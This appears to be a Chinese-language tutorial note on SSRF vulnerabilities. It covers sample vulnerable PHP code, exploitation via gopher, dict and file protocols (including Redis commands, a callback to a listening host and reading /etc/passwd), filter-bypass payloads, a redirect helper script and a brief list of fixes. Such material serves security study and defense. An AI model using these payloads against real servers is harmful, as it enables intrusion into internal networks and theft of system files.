漏洞介绍
SSRF
(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。
靶场推荐:
缺陷代码参考:
# 模拟SSRF,使用curl发起网络请求后返回客户端,请求加载文件
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
Example:
GET /index.php?url=http://10.1.1.1/ HTTP/1.1
Host: example.com
攻击者不能直接访问10.1.1.1,但可以通过http://example.com 的服务器去访问 http://10.1.1.1;这就是SSRF漏洞
漏洞原理
SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用发起请求获取数据的功能,但没有对目标地址做过滤与限制;攻击者可以任意修改获取数据的地址,向指定的URL地址发起请求,获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。
简而言之:SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
漏洞危害
SSRF的最大的危害在于穿透了网络边界,但具体能做到哪种程度还需要根据业务环境来判断
[!NOTE]
例如我们在SSRF的利用中,如果需要更深一步扩展,第一反应通常是去攻击可利用的redis或者memcache等内网服务拿shell,但需要注意的是操作redis,memcache的数据包中是需要换行的,而http/https协议一般无法满足我们要求,所以即使内网存在可利用的redis,也并非所有的ssrf都能利用成功的。但是,对于memcache来说,即使只能使用https协议,利用memcache来getshell却并非不可能
- 网页中数据库验证的功能点
- 有远程图片加载的地方
- 网站提供的各种下载功能点
- 未公开的api实现及调用URL的功能
- …
[!TIPS]
简单来说:所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞
常见语言及支持协议
cURL支持大量的协议,而gopher
、file
和dict
协议是最好用的
比如在redis中,直接使用dict
协议就可以攻击内网的redis服务
dict://127.0.0.1:6379/set x d4m1ts
gopher
gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。
公网IP的VPS监听 2333
端口
[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
利用 gopher 协议访问
浏览器直接访问或者用 curl url
http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello
收到回显
[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 183.xxx.xxx.xxx.
Ncat: Connection from 183.xxx.xxx.xxx:9661.
hello
dict
因为此处 ssrf.php
的漏洞代码有回显,所以浏览器直接访问http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info
或者终端curl http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info
可以获取Redis的配置信息
同理也可以添加或者查看Redis的信息
查看Redis存储的内容
file
利用 file
协议可以读取任意内容
前提也是在有回显的情况下
http://127.0.0.1/ssrf.php?url=file:///etc/passwd
http/s
探测内网主机存活,也可以结合一些只需要Get的payload进行攻击利用
如何验证
一般来说,目标出网的情况下,验证采用dnslog的方式,看能不能在Dnslog收到请求
如果目标不出网,则可以根据返回包的特征来进行判断,如目标端口开放响应时间200Ms,未开放则响应时间1000ms等
工具
深入利用基本上也就是各种协议➕Payload
- https://github.com/xmsec/redis-ssrf
- https://github.com/swisskyrepo/SSRFma
https://github.com/search?q=redis+ssrf
修复方案
比较形象的SSRF修复方案:
统一错误的信息
- 限制协议为HTTP、HTTPS
- 去除URL中的特殊字符
- 禁止30x跳转
- 设置URL白名单或者Host白名单
- 限制内网IP(如果是URL可以改为IP后再判断)
绕过
使用其他协议
不一定非得用http/s,有时候试试其他的可能危害更大 ``` file:///etc/passwd
### 利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。<br />`https://www.baidu.com@google.com` 与 `https://google.com` 是一样的
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/
### 短地址 + 302跳转 绕过
> 如果过滤了IP可以用网上的短地址
> 辅助脚本302.php—-bypass http协议限制
<?php
$ip = $_GET[‘ip’];
$port = $_GET[‘port’];
$scheme = $_GET[‘s’];
$data = $_GET[‘data’];
header(“Location: $scheme://$ip:$port/$data”); ?>
### DNS重绑定
利用 `xip.io` 和 `xip.name`<br />网站:[http://xip.io/](http://xip.io/)
> 现在好像用不了了,可以自建,如使用singularity,参考:[DNS重绑定](66233023951198ee46e562a40f9b0080)
![image-20220223094803302](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990452022-edd66ff8-30b4-417c-86ac-33e4d3cd88b5.png)
### 更改IP地址写法
- ip地址转换成进制来访问
220.181.57.216 十六进制 = DCB539D8 十进制 = 3702864344
http://0xDCB539D8 http://3702864344
在线转换
> [http://www.ab126.com/system/2859.html](e4826bcd5b63f97281459d2d7655eb16)
- 或者IP地址部分地方转换为进制来表达
`http://0xdc.181.57.216`
### 添加端口可能绕过匹配正则
`220.181.57.216:80`
### 滥用封闭的字母数字
也叫 **Enclosed alphanumerics字符集绕过**,可以在[网站](https://www.mp51.vip/Code/AllUniCode?quwei=2460-24FF)中找到类似的字符
http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/
http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/
http://⓪⓪②⑤①。⓪⓪⓪③⑦⑥。⓪⓪⓪⓪②⑤①。⓪⓪⓪⓪⓪③⑦⑥:80/
http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80/
```
*nix技巧
在Mac和Linux中,0.0.0.0
等价于 127.0.0.1